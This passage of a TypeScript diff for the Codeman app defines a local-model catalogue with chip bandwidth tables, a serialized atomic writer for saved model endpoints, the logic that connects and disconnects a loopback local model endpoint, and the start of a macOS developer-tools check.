+ * beginning or after a space. Case is ignored.
+ *
+ * Stricter than "the match occurs in the string" on purpose. 'M4' is not the chip of
+ * 'Apple M4 Pro', 'M1' is not the chip of 'Apple M10', and a variant this table has never heard
+ * of ('Apple M6 Pro') matches no row instead of borrowing the bandwidth of its base chip.
+ */
+export function chipNameMatches(chip: string, match: string): boolean {
+  const name = chip.trim().toLowerCase();
+  const wanted = match.trim().toLowerCase();
+  if (wanted === '' || !name.endsWith(wanted)) return false;
+  const start = name.length - wanted.length;
+  return start === 0 || name[start - 1] === ' ';
+}
+
+/**
+ * The memory bandwidth (GB/s) of `chip`, from the first row that names it. `undefined` when the
+ * chip string is absent or no row names it: the speed is then UNKNOWN, a bandwidth is never guessed.
+ */
+export function chipBandwidthGbps(chips: readonly ChipEntry[], chip: string | undefined): number | undefined {
+  if (!chip) return undefined;
+  return chips.find((row) => chipNameMatches(chip, row.match))?.gbps;
+}
+
+const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)');
+const positiveInt = z.number().int().positive();
+
+const TestedOnSchema = z
+  .object({
+    chip: z.string().min(1).max(80),
+    memGb: positiveInt,
+    cli: z.string().min(1).max(24),
+    date: isoDate,
+    tokensPerSecond: z.number().positive().optional(),
+  })
+  .strict();
+
+const LocalModelEntrySchema = z
+  .object({
+    id: z.string().max(100).regex(LOCAL_MODEL_ID_PATTERN, 'must be name:tag in lowercase, without a slash'),
+    label: z.string().min(1).max(80),
+    license: z.string().min(1).max(40),
+    paramsB: z.number().positive(),
+    bytes: positiveInt,
+    heldBytesPerToken: positiveInt,
+    overheadBytes: z.number().int().nonnegative(),
+    peakExtraBytes: z.number().int().nonnegative(),
+    figures: z.enum(['measured', 'estimated']),
+    contexts: z.array(positiveInt).min(1),
+    rank: z.number().int(),
+    speedPer100Gbps: z.number().positive().optional(),
+    tested: z.array(TestedOnSchema),
+  })
+  .strict();
+
+const LocalHarnessEntrySchema = z
+  .object({
+    cli: z.string().min(1).max(24),
+    minContext: positiveInt,
+    rank: z.number().int(),
+    gated: z.boolean().optional(),
+    slowFirstTurn: z.boolean().optional(),
+  })
+  .strict();
+
+const ChipEntrySchema = z
+  .object({
+    match: z.string().min(1).max(40),
+    gbps: z.number().positive(),
+  })
+  .strict();
+
+/** The index of the first value that already occurred earlier in the list, or -1. */
+function firstRepeat<T>(values: readonly T[]): number {
+  const seen = new Set<T>();
+  for (let i = 0; i < values.length; i++) {
+    if (seen.has(values[i])) return i;
+    seen.add(values[i]);
+  }
+  return -1;
+}
+
+/**
+ * Validates a whole catalogue: every field, then the rules that hold across rows (see the file
+ * header). Typed against `LocalModelCatalog`, so the two cannot drift apart.
+ */
+export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z
+  .object({
+    schema: z.literal(1),
+    updated: isoDate,
+    minMacosMajor: positiveInt,
+    models: z.array(LocalModelEntrySchema),
+    harnesses: z.array(LocalHarnessEntrySchema),
+    chips: z.array(ChipEntrySchema),
+  })
+  .strict()
+  .superRefine((catalog, ctx) => {
+    const issue = (path: (string | number)[], message: string): void => {
+      ctx.addIssue({ code: 'custom', path, message });
+    };
+
+    // A repeated id would make "the model" ambiguous, a repeated rank would make the order of
+    // two models depend on where they sit in the array.
+    const repeatedId = firstRepeat(catalog.models.map((m) => m.id));
+    if (repeatedId >= 0) issue(['models', repeatedId, 'id'], 'model ids must be unique');
+    const repeatedRank = firstRepeat(catalog.models.map((m) => m.rank));
+    if (repeatedRank >= 0) issue(['models', repeatedRank, 'rank'], 'model ranks must be unique');
+
+    const harnessClis = catalog.harnesses.map((h) => h.cli);
+    const repeatedCli = firstRepeat(harnessClis);
+    if (repeatedCli >= 0) issue(['harnesses', repeatedCli, 'cli'], 'a harness may be listed only once');
+    const repeatedHarnessRank = firstRepeat(catalog.harnesses.map((h) => h.rank));
+    if (repeatedHarnessRank >= 0) issue(['harnesses', repeatedHarnessRank, 'rank'], 'harness ranks must be unique');
+
+    catalog.models.forEach((model, m) => {
+      for (let i = 1; i < model.contexts.length; i++) {
+        if (model.contexts[i] >= model.contexts[i - 1]) {
+          issue(['models', m, 'contexts', i], 'contexts must be listed largest first, without repeats');
+          break;
+        }
+      }
+      // An entry for a harness the catalogue does not list could never match a candidate: a typo.
+      model.tested.forEach((entry, t) => {
+        if (!harnessClis.includes(entry.cli)) {
+          issue(['models', m, 'tested', t, 'cli'], 'a tested entry must name a harness of this catalogue');
+        }
+      });
+    });
+
+    // Most specific first ('M4 Max' before 'M4'): a row whose text sits inside a LATER row's text
+    // is the less specific of the two, so it is in the wrong place. A repeated match is the same
+    // mistake.
+    for (let later = 1; later < catalog.chips.length; later++) {
+      const laterMatch = catalog.chips[later].match.toLowerCase();
+      const shadowing = catalog.chips.slice(0, later).find((row) => laterMatch.includes(row.match.toLowerCase()));
+      if (shadowing) {
+        issue(
+          ['chips', later, 'match'],
+          `chips must be listed most specific first: '${shadowing.match}' comes before '${catalog.chips[later].match}'`
+        );
+        break;
+      }
+    }
+  });
+
+/**
+ * The memory figures measured for `qwen3.6:35b-a3b` on an Apple M5 Pro with 48 GB (2026-11-06,
+ * the MLX runner), in decimal bytes. That row carries them as `measured`; every other row
+ * carries the same three as `estimated`, see the file header.
+ */
+const MEASURED_MEMORY = {
+  /** 36,000 to 38,000 bytes stayed held per token of context after a prompt of 89,000 and one of 167,000 tokens. */
+  heldBytesPerToken: 37_000,
+  /** The runner held 2.5 to 3 GB beside the weights. */
+  overheadBytes: 3_000_000_000,
+  /** While a long prompt was processed the peak stood about 5 GB above what stayed held. */
+  peakExtraBytes: 5_000_000_000,
+} as const;
+
+/**
+ * The catalogue that ships with Codeman. Never read directly outside this file and its test:
+ * callers use `getLocalModelCatalog()`, which validates it first.
+ */
+export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
+  schema: 1,
+  updated: '2026-11-06',
+  // The oldest macOS the model runtime supports.
+  minMacosMajor: 14,
+  // Ordered by rank. The higher rank wins among models that fit equally well and are equally
+  // fast. `flint:40b` is left out on purpose: its plain tag is the slow build on a Mac and it
+  // has an open bug with tool arguments.
+  models: [
+    {
+      id: 'qwen3.5:9b',
+      label: 'Qwen3.5 9B',
+      license: 'Apache-2.0',
+      paramsB: 9,
+      bytes: 6_550_825_373,
+      ...MEASURED_MEMORY,
+      figures: 'estimated',
+      contexts: [65536, 32768],
+      rank: 1,
+      // 37.1 tokens per second measured on 400 GB/s.
+      speedPer100Gbps: 9.3,
+      tested: [],
+    },
+    {
+      id: 'qwen3.5:9b-q8_0',
+      label: 'Qwen3.5 9B (Q8)',
+      license: 'Apache-2.0',
+      paramsB: 9,
+      bytes: 10_449_217_949,
+      ...MEASURED_MEMORY,
+      figures: 'estimated',
+      contexts: [65536, 32768],
+      rank: 2,
+      // Not measured: the 9.3 of the row above scaled by file size.
+      speedPer100Gbps: 5.8,
+      tested: [],
+    },
+    {
+      id: 'gpt-oss:20b',
+      label: 'GPT-OSS 20B',
+      license: 'Apache-2.0',
+      paramsB: 20,
+      bytes: 13_793_441_427,
+      ...MEASURED_MEMORY,
+      figures: 'estimated',
+      contexts: [131072, 65536],
+      rank: 3,
+      // No speed figure: its speed is unknown on every chip.
+      tested: [],
+    },
+    {
+      id: 'qwen3.6:35b-a3b',
+      label: 'Qwen3.6 35B-A3B',
+      license: 'Apache-2.0',
+      paramsB: 35,
+      // What a Mac really downloads: an MLX build, 2% above the 22,621,314,161 of the manifest.
+      bytes: 23_105_798_956,
+      ...MEASURED_MEMORY,
+      figures: 'measured',
+      contexts: [131072, 65536],
+      rank: 4,
+      // 54.5 tokens per second measured on 400 GB/s (3 billion parameters are active per token).
+      // The MLX build ran faster than this figure predicts on the one Mac we tested (67.7
+      // against 41.8), so on other chips the estimate is on the low side.
+      speedPer100Gbps: 13.6,
+      // Run by us with OpenCode on the MacBook Pro (Mac17,13): a four-step task with tool calls.
+      tested: [{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 }],
+    },
+    {
+      id: 'qwen3.8:27b',
+      label: 'Qwen3.8 27B',
+      license: 'Apache-2.0',
+      paramsB: 27.8,
+      bytes: 17_741_871_939,
+      ...MEASURED_MEMORY,
+      figures: 'estimated',
+      contexts: [131072, 65536, 32768],
+      rank: 5,
+      // 11.8 tokens per second measured on 400 GB/s.
+      speedPer100Gbps: 2.95,
+      tested: [],
+    },
+    {
+      id: 'qwen3.8:27b-q8_0',
+      label: 'Qwen3.8 27B (Q8)',
+      license: 'Apache-2.0',
+      paramsB: 27.8,
+      bytes: 29_978_241_837,
+      ...MEASURED_MEMORY,
+      figures: 'estimated',
+      contexts: [262144, 131072],
+      rank: 6,
+      // Not measured: the 2.95 of the row above scaled by file size.
+      speedPer100Gbps: 1.7,
+      tested: [],
+    },
+    {
+      id: 'qwen3.5:122b-a10b',
+      label: 'Qwen3.5 122B-A10B',
+      license: 'Apache-2.0',
+      paramsB: 122,
+      bytes: 81_370_035_877,
+      ...MEASURED_MEMORY,
+      figures: 'estimated',
+      contexts: [131072],
+      rank: 7,
+      // No speed figure: its speed is unknown on every chip.
+      tested: [],
+    },
+  ],
+  // The higher rank wins when a model can run with more than one harness.
+  harnesses: [
+    { cli: 'opencode', minContext: 65536, rank: 3 },
+    // Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
+    { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
+    // Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
+    { cli: 'pi', minContext: 32768, rank: 1, gated: true },
+  ],
+  // Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
+  // table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
+  // M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor.
+  chips: [
+    { match: 'M5 Ultra', gbps: 1228 },
+    { match: 'M3 Ultra', gbps: 800 },
+    { match: 'M2 Ultra', gbps: 800 },
+    { match: 'M1 Ultra', gbps: 800 },
+    { match: 'M5 Max', gbps: 460 },
+    { match: 'M4 Max', gbps: 410 },
+    { match: 'M3 Max', gbps: 300 },
+    { match: 'M2 Max', gbps: 400 },
+    { match: 'M1 Max', gbps: 400 },
+    { match: 'M5 Pro', gbps: 307 },
+    { match: 'M4 Pro', gbps: 273 },
+    { match: 'M3 Pro', gbps: 150 },
+    { match: 'M2 Pro', gbps: 200 },
+    { match: 'M1 Pro', gbps: 200 },
+    { match: 'M5', gbps: 154 },
+    { match: 'M4', gbps: 120 },
+    { match: 'M3', gbps: 100 },
+    { match: 'M2', gbps: 100 },
+    { match: 'M1', gbps: 68 },
+  ],
+};
+
+let validated: LocalModelCatalog | undefined;
+
+/**
+ * The catalogue in force: the stock constant, validated once on first use. Callers go through
+ * this function, so a later stage can change where the catalogue comes from without touching
+ * them. Throws when the constant breaks its own schema, which the catalogue test rules out.
+ */
+export function getLocalModelCatalog(): LocalModelCatalog {
+  validated ??= LocalModelCatalogSchema.parse(STOCK_LOCAL_MODEL_CATALOG);
+  return validated;
+}

src/custom-model-hosts-writer.ts

@@ -0,0 +1,124 @@
+/**
+ * @fileoverview The serialized writer of `custom-model-hosts.json`, the store of the saved
+ * custom model endpoints (src/custom-model-hosts.ts).
+ *
+ * Why it exists: `writeCustomModelHosts()` writes through ONE temp file name per process and
+ * has no queue, and `readCustomModelHosts()` reads a file that does not parse as an empty
+ * list. Two overlapping writers (an endpoint route and the 5-minute discovery sweep) can
+ * leave one body over the tail of a longer one, and the next writer then saves a file that
+ * holds only its own record: every other endpoint and its API key is gone. The same fault
+ * `mutateSettingsFile()` ended for `settings.json`.
+ *
+ * The shape of `mutateSettingsFile()` (src/web/settings-writer.ts):
+ *  - Serialized: mutations run one at a time on one promise chain. The check a route makes
+ *    (the id is free, the record still exists) runs INSIDE `fn`, in the same step as the write.
+ *  - Atomic: each write goes to a temp file with a random name beside the target and is
+ *    renamed over it. The file is mode 0600 (it holds API keys).
+ *  - Refuses a file it must not trust: only a missing or empty file starts from an empty
+ *    list. A file that cannot be read, does not parse or is not an array is left alone and
+ *    the write rejects with `CustomModelHostsWriteRefusedError`. The message never repeats
+ *    the parser's own text, which can quote an API key.
+ *
+ * EVERY writer goes through it: the four endpoint routes of
+ * src/web/routes/custom-model-routes.ts (create, update, delete, discover-models), the
+ * discovery sweep `refreshAllCustomModelHosts()`, and the local model's connect step. The one
+ * direct writer left is config-backup restore, which must work on a file that does not parse.
+ */
+
+import { randomUUID } from 'node:crypto';
+import fs from 'node:fs/promises';
+import { dirname } from 'node:path';
+import { getDataDir } from './config/instance.js';
+import { customModelHostsPath, type CustomModelHost } from './custom-model-hosts.js';
+import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from './types.js';
+
+/** A write refused because the existing `custom-model-hosts.json` must not be overwritten. The message is user-facing. */
+export class CustomModelHostsWriteRefusedError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = 'CustomModelHostsWriteRefusedError';
+  }
+}
+
+/** The list a write starts from. Only a missing or empty file is an empty list; anything else that is not an array is refused. */
+async function readHostsForWrite(path: string): Promise<CustomModelHost[]> {
+  let raw: string;
+  try {
+    raw = await fs.readFile(path, 'utf-8');
+  } catch (err) {
+    if ((err as NodeJS.ErrnoException).code === 'ENOENT') return [];
+    throw new CustomModelHostsWriteRefusedError(
+      `Cannot read ${path} (${(err as Error).message}), so this change was not saved.`
+    );
+  }
+  // An empty file holds no endpoint to lose.
+  if (raw.trim() === '') return [];
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(raw);
+  } catch {
+    parsed = undefined;
+  }
+  if (!Array.isArray(parsed)) {
+    throw new CustomModelHostsWriteRefusedError(
+      `${path} is not a valid JSON list, so this change was not saved (saving would have replaced every other model endpoint in it, with its API key). Fix or delete the file, or restore it from a config backup, then try again.`
+    );
+  }
+  return parsed as CustomModelHost[];
+}
+
+async function writeHostsFile(path: string, hosts: CustomModelHost[]): Promise<void> {
+  // Through a symlink: the rename lands on the real file.
+  const target = await fs.realpath(path).catch(() => path);
+  await fs.mkdir(dirname(target), { recursive: true });
+  const tmp = `${target}.${process.pid}.${randomUUID()}.tmp`;
+  try {
+    await fs.writeFile(tmp, JSON.stringify(hosts, null, 2), { mode: 0o600 });
+    await fs.rename(tmp, target);
+  } catch (err) {
+    await fs.rm(tmp, { force: true }).catch(() => {});
+    throw err;
+  }
+}
+
+let mutationChain: Promise<unknown> = Promise.resolve();
+
+/** What a mutation returns: the list to write (absent: write nothing) and what the caller gets back. */
+export interface CustomModelHostsMutation<T> {
+  /** The whole list to store. Absent: the file is left as it is. */
+  hosts?: CustomModelHost[];
+  /** Handed back to the caller of `mutateCustomModelHosts()`. */
+  result: T;
+}
+
+/**
+ * Runs one change to the endpoint store. `fn` receives the current list (a copy it may change)
+ * and returns what to write and what to hand back. Resolves with `result`. A refused or failed
+ * mutation rejects its own caller only; the chain keeps going.
+ *
+ * `configDir` is the folder of the file, as for `readCustomModelHosts()`. Default: the data dir.
+ */
+export function mutateCustomModelHosts<T>(
+  fn: (hosts: CustomModelHost[]) => CustomModelHostsMutation<T>,
+  configDir?: string
+): Promise<T> {
+  const run = mutationChain.then(async () => {
+    // Resolved inside the chain: the data dir is read when the mutation runs, like the file.
+    const path = customModelHostsPath(configDir ?? getDataDir());
+    const current = await readHostsForWrite(path).catch((err: unknown) => {
+      console.warn(`[custom-model] write refused: ${getErrorMessage(err)}`);
+      throw err;
+    });
+    const mutation = fn(current);
+    if (mutation.hosts) await writeHostsFile(path, mutation.hosts);
+    return mutation.result;
+  });
+  mutationChain = run.catch(() => {});
+  return run;
+}
+
+/** A refused write answers 409 CONFLICT with the fix; any other failure stays OPERATION_FAILED. Like `settingsWriteErrorResponse()`. */
+export function customModelHostsWriteErrorResponse(err: unknown): ApiResponse<never> {
+  if (err instanceof CustomModelHostsWriteRefusedError) return createErrorResponse(ApiErrorCode.CONFLICT, err.message);
+  return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
+}

src/local-model/connect.ts

@@ -0,0 +1,305 @@
+/**
+ * @fileoverview Connecting the installed local model to Codeman, and undoing it: the endpoint
+ * record, the settings flag, and the checks around them.
+ *
+ * These are the ONLY two writes of the local model outside its own folder:
+ *  1. One record in `custom-model-hosts.json`, through `mutateCustomModelHosts()`:
+ *     `{ id: 'local-ollama', label: 'This Mac', baseUrl: 'http://127.0.0.1:<port>',
+ *     authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId,
+ *     defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema`
+ *     before it is written. No `apiKey`. `defaultContextLength` is what reaches the coding
+ *     agent as its context limit, because the runtime's model listing states none.
+ *  2. `customModelEndpointsEnabled: true` in `settings.json`, through `mutateSettingsFile()`.
+ *     The value it had before is returned and kept in the state file.
+ *
+ * Rules:
+ *  - The id is reserved. A record with it that this feature did not write is never
+ *    overwritten: the connect step fails with `endpoint-id-taken`.
+ *  - The connection is CLAIMED before it is written: the install job records `connection` in
+ *    the state file first (`inspectLocalEndpoint()` tells it what is there and what the flag
+ *    is), then calls `connectLocalModel()` with `ours: true`. A state write that fails, or a
+ *    server that is killed between the two, therefore never leaves a record of ours that the
+ *    state file does not know: the worst case is a claim with nothing behind it, which a
+ *    resumed job fills in and Remove undoes.
+ *  - Second net: a record with the reserved id that already says exactly what ours would say
+ *    (`isSameLocalEndpoint()`) is ours whatever `ours` says. Nobody else can have made it: the
+ *    endpoint routes refuse the reserved id.
+ *  - Both writes are idempotent, so a resumed job writes them again.
+ *  - Undoing removes our record, and switches the flag off again only when this feature
+ *    switched it on AND no other endpoint is saved.
+ *  - The model's digest is compared again before a session starts and at boot
+ *    (`compareModelDigest()`): a model that changed under the same name is not launched.
+ *  - The record is MANAGED while the state file records it as ours (`isManagedLocalEndpoint()`):
+ *    the endpoint routes then refuse to edit or delete it and the discovery sweep leaves it
+ *    alone, so its `models` stays the one model the install job checked.
+ */
+
+import { mutateCustomModelHosts } from '../custom-model-hosts-writer.js';
+import type { CustomModelHost } from '../custom-model-hosts.js';
+import { getDataDir } from '../config/instance.js';
+import { readCustomModelHosts } from '../custom-model-hosts.js';
+import { getErrorMessage, type LocalModelErrorCode } from '../types.js';
+import { readJsonConfig, SETTINGS_PATH } from '../web/route-helpers.js';
+import { CustomModelHostSchema } from '../web/schemas.js';
+import { mutateSettingsFile } from '../web/settings-writer.js';
+import { readLocalModelState } from './state-store.js';
+
+/** The key of the settings flag that shows saved endpoints in the Run menu and runs the discovery sweep. */
+const ENDPOINTS_FLAG = 'customModelEndpointsEnabled';
+
+/** The id of the endpoint record this feature writes. Reserved: nobody else may use it. */
+export const LOCAL_MODEL_ENDPOINT_ID = 'local-ollama';
+/** The label of that record, what the Run menu shows in brackets. */
+export const LOCAL_MODEL_ENDPOINT_LABEL = 'This Mac';
+
+/** What the endpoint record is built from. */
+export interface LocalEndpointInput {
+  /** The runtime's loopback port. */
+  port: number;
+  /** The model id exactly as the runtime's `/v1/models` lists it. */
+  modelId: string;
+  /** The chosen context length in tokens. */
+  context: number;
+}
+
+/** The endpoint record of the file header. Pure; the caller validates it with `CustomModelHostSchema`. */
+export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModelHost {
+  return {
+    id: LOCAL_MODEL_ENDPOINT_ID,
+    label: LOCAL_MODEL_ENDPOINT_LABEL,
+    baseUrl: `http://127.0.0.1:${input.port}`,
+    authStyle: 'bearer',
+    models: [input.modelId],
+    defaultModelId: input.modelId,
+    defaultContextLength: input.context,
+  };
+}
+
+/**
+ * Whether a saved record says exactly what our record for `input` says: the same address, the
+ * one model, its context, no key. What discovery may have added to it (context lengths, a
+ * time stamp) does not count. Pure.
+ */
+export function isSameLocalEndpoint(host: CustomModelHost, input: LocalEndpointInput): boolean {
+  const ours = buildLocalEndpointRecord(input);
+  return (
+    host.id === ours.id &&
+    host.label === ours.label &&
+    host.baseUrl === ours.baseUrl &&
+    host.authStyle === ours.authStyle &&
+    host.apiKey === undefined &&
+    Array.isArray(host.models) &&
+    host.models.length === 1 &&
+    host.models[0] === input.modelId &&
+    host.defaultModelId === ours.defaultModelId &&
+    host.defaultContextLength === ours.defaultContextLength
+  );
+}
+
+/** What the connect step finds before it claims the connection. */
+export interface LocalEndpointInspection {
+  /**
+   * The saved record with the reserved id: there is none, it says what ours would say, or it
+   * says something else (somebody else's: `endpoint-id-taken`).
+   */
+  record: 'absent' | 'same' | 'other';
+  /** `customModelEndpointsEnabled` right now: what the claim keeps as the value before this feature. */
+  flagEnabled: boolean;
+}
+
+/**
+ * Looks at the endpoint store and the settings flag WITHOUT writing either. The install job
+ * calls it before it claims the connection in the state file. Rejects when the endpoint store
+ * cannot be read; a settings file that cannot be read counts as "the flag is off".
+ */
+export async function inspectLocalEndpoint(input: LocalEndpointInput): Promise<LocalEndpointInspection> {
+  const hosts = await readCustomModelHosts(getDataDir());
+  const existing = hosts.find((host) => host.id === LOCAL_MODEL_ENDPOINT_ID);
+  const settings = await readJsonConfig<Record<string, unknown>>(SETTINGS_PATH, 'settings.json', {});
+  return {
+    record: !existing ? 'absent' : isSameLocalEndpoint(existing, input) ? 'same' : 'other',
+    flagEnabled: settings[ENDPOINTS_FLAG] === true,
+  };
+}
+
+export interface ConnectLocalModelInput extends LocalEndpointInput {
+  /**
+   * True when the state file already records a connection of ours: an existing record with
+   * our id is then ours and is replaced. False: such a record is somebody else's, unless it
+   * says exactly what ours would say (`isSameLocalEndpoint()`).
+   */
+  ours: boolean;
+  /**
+   * The flag's value before this feature first switched it on, when the state file already
+   * holds one. It is handed back unchanged, so a second connect cannot overwrite it with `true`.
+   */
+  flagWasEnabled?: boolean;
+}
+
+/** How the connect step ended. */
+export type ConnectResult =
+  | {
+      ok: true;
+      /** The value `customModelEndpointsEnabled` had before this feature switched it on. */
+      flagWasEnabled: boolean;
+    }
+  | { ok: false; code: Extract<LocalModelErrorCode, 'endpoint-id-taken' | 'connect-failed'>; detail?: string };
+
+/**
+ * Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed`
+ * with its message as `detail`.
+ *
+ * The record goes first, with the "is the id free" check in the same serialized step as the
+ * write, so a record that is somebody else's is found before anything is changed. Should the
+ * flag then fail to save, a record this call ADDED is taken out again: the pair is never left
+ * half done, and a later attempt starts from the same place.
+ */
+export async function connectLocalModel(input: ConnectLocalModelInput): Promise<ConnectResult> {
+  const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input));
+  if (!parsed.success) {
+    return { ok: false, code: 'connect-failed', detail: `The endpoint record is not valid: ${parsed.error.message}` };
+  }
+  const record: CustomModelHost = parsed.data;
+
+  let outcome: 'added' | 'replaced' | 'taken';
+  try {
+    outcome = await mutateCustomModelHosts<'added' | 'replaced' | 'taken'>((hosts) => {
+      const index = hosts.findIndex((host) => host.id === record.id);
+      if (index === -1) return { hosts: [...hosts, record], result: 'added' };
+      if (!input.ours && !isSameLocalEndpoint(hosts[index], input)) return { result: 'taken' };
+      const next = [...hosts];
+      next[index] = record;
+      return { hosts: next, result: 'replaced' };
+    });
+  } catch (err) {
+    return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) };
+  }
+  if (outcome === 'taken') return { ok: false, code: 'endpoint-id-taken' };
+
+  let flagBefore: boolean;
+  try {
+    const { before } = await mutateSettingsFile((current) =>
+      current[ENDPOINTS_FLAG] === true ? undefined : { ...current, [ENDPOINTS_FLAG]: true }
+    );
+    flagBefore = before[ENDPOINTS_FLAG] === true;
+  } catch (err) {
+    if (outcome === 'added') await removeLocalEndpoint().catch(() => {});
+    return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) };
+  }
+  return { ok: true, flagWasEnabled: input.flagWasEnabled ?? flagBefore };
+}
+
+/**
+ * Puts our record back when it is gone, and does nothing when a record with our id exists
+ * (it is never replaced here). For the start of the server while a model is installed: a
+ * config-backup restore can bring back an older endpoint store without our record while the
+ * model, the runtime and the state file stay. The settings flag is NOT touched: a person who
+ * switched it off meant to. Resolves true when the record was added. Never throws.
+ */
+export async function ensureLocalEndpoint(input: LocalEndpointInput): Promise<boolean> {
+  const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input));
+  if (!parsed.success) return false;
+  const record: CustomModelHost = parsed.data;
+  try {
+    return await mutateCustomModelHosts<boolean>((hosts) =>
+      hosts.some((host) => host.id === record.id) ? { result: false } : { hosts: [...hosts, record], result: true }
+    );
+  } catch {
+    // A store that must not be overwritten stays as it is; a session start then says what is wrong.
+    return false;
+  }
+}
+
+/** Takes our record out of the store. Resolves with how many OTHER endpoints are saved. */
+async function removeLocalEndpoint(): Promise<number> {
+  return mutateCustomModelHosts<number>((hosts) => {
+    const others = hosts.filter((host) => host.id !== LOCAL_MODEL_ENDPOINT_ID);
+    return others.length === hosts.length ? { result: others.length } : { hosts: others, result: others.length };
+  });
+}
+
+/**
+ * Moves our record to another port (the answer to "Use another port" once connected). A
+ * missing record is not an error, and a record that is already there is not written again.
+ */
+export async function moveLocalEndpoint(port: number): Promise<void> {
+  const baseUrl = `http://127.0.0.1:${port}`;
+  await mutateCustomModelHosts<void>((hosts) => {
+    const index = hosts.findIndex((host) => host.id === LOCAL_MODEL_ENDPOINT_ID);
+    if (index === -1 || hosts[index].baseUrl === baseUrl) return { result: undefined };
+    const next = [...hosts];
+    next[index] = { ...next[index], baseUrl };
+    return { hosts: next, result: undefined };
+  });
+}
+
+/**
+ * Removes our record, and restores the settings flag when this feature switched it on
+ * (`flagWasEnabled` is false) and no other endpoint is left. Idempotent.
+ */
+export async function disconnectLocalModel(input: { flagWasEnabled: boolean }): Promise<void> {
+  const othersLeft = await removeLocalEndpoint();
+  if (input.flagWasEnabled || othersLeft > 0) return;
+  await mutateSettingsFile((current) =>
+    current[ENDPOINTS_FLAG] === true ? { ...current, [ENDPOINTS_FLAG]: false } : undefined
+  );
+}
+
+/** Whether `id` is the reserved endpoint id. For the endpoint routes and the discovery sweep, which leave that record alone. */
+export function isLocalModelEndpointId(id: string): boolean {
+  return id === LOCAL_MODEL_ENDPOINT_ID;
+}
+
+/**
+ * Whether the saved endpoint `id` is the record THIS feature wrote and still owns: the id is
+ * the reserved one and the state file records a connection under it. A record with the
+ * reserved id that somebody made by hand (before this feature, or while nothing is installed)
+ * is not managed, so its owner can still edit and delete it. Never throws.
+ */
+export async function isManagedLocalEndpoint(id: string): Promise<boolean> {
+  if (!isLocalModelEndpointId(id)) return false;
+  const state = await readLocalModelState();
+  return state.connection?.endpointId === id;
+}
+
+/**
+ * The names of the live sessions that use the endpoint `endpointId`, in the order given.
+ * Pure. What `DELETE /api/local-model` answers its 409 with.
+ */
+export function sessionNamesUsingEndpoint(
+  sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>,
+  endpointId: string = LOCAL_MODEL_ENDPOINT_ID
+): string[] {
+  const names: string[] = [];
+  for (const session of sessions) {
+    if (session.customModel?.endpointId === endpointId) names.push(session.name);
+  }
+  return names;
+}
+
+/**
+ * Compares the digest stored at install time with the one the runtime reports now. Pure.
+ *  - `same`: launch.
+ *  - `changed`: refuse (`model-changed`): the name now stands for other weights or another template.
+ *  - `unknown`: one of the two is absent (the runtime does not answer, the model is gone).
+ *    The caller refuses as well, with the reason it knows.
+ */
+export function compareModelDigest(
+  stored: string | undefined,
+  current: string | undefined
+): 'same' | 'changed' | 'unknown' {
+  const a = normalizeDigest(stored);
+  const b = normalizeDigest(current);
+  if (!a || !b) return 'unknown';
+  return a === b ? 'same' : 'changed';
+}
+
+/** A digest as it is compared: lowercase hex, without the `sha256:` some listings put in front. */
+function normalizeDigest(digest: string | undefined): string | undefined {
+  if (typeof digest !== 'string') return undefined;
+  const hex = digest
+    .trim()
+    .toLowerCase()
+    .replace(/^sha256:/, '');
+  return hex === '' ? undefined : hex;
+}

src/local-model/developer-tools.ts

@@ -0,0 +1,117 @@
+/**
+ * @fileoverview Whether this Mac has the developer tools a coding agent calls (git, Python).
+ *
+ * Why it exists: on a Mac without Xcode or the Command Line Tools, `git` and `python3` are
+ * stubs that open macOS's "install the command line developer tools" window. A coding agent
+ * runs both, so the install window says one honest sentence when the tools are missing
+ * (`LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing`).
+ *
+ * Rules:
+ *  - The ONLY command ever run is `/usr/bin/xcode-select -p`, bounded by a timeout. Never
+ *    `git`, `python3`, `xcrun` or anything else that would open that window itself.
+ *  - macOS only. Anywhere else, and when the command does not answer in time, the answer is
+ *    `unknown`, and nothing is said.
+ *  - Never throws. The answer is cached for a short while, so a window that polls once a
+ *    second does not spawn once a second. Only `present` and `missing` are cached: an
+ *    `unknown` is asked again, because it says the check itself did not work.
+ *  - Under vitest the default `run` spawns nothing and answers "did not start", so a test
+ *    that wants an answer injects its own.
+ */
+
+import { execFile } from 'node:child_process';
+import type { LocalModelDeveloperTools } from '../types.js';
+
+/** How long `/usr/bin/xcode-select -p` may take. */
+export const DEVELOPER_TOOLS_TIMEOUT_MS = 2_000;
+
+/** How long an answer is reused. Installing the tools takes minutes, so a minute of staleness is not seen. */
+const DEVELOPER_TOOLS_CACHE_MS = 60_000;
+
+/** The one command this module runs. It prints the active developer directory and exits 0, or exits with an error when there is none. */
+const XCODE_SELECT = '/usr/bin/xcode-select';
+
+/** What the check calls. Each member defaults to the real thing; a test injects its own. */
+export interface DeveloperToolsDeps {
+  /** Default `process.platform`. */
+  platform: string;
+  /** Runs `file` with `args` and resolves with its exit code (`null` when it timed out or could not be started). */
+  run: (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>;
+}
+
+/** The default `run`: one bounded `execFile`, no shell. Spawns nothing under vitest. */
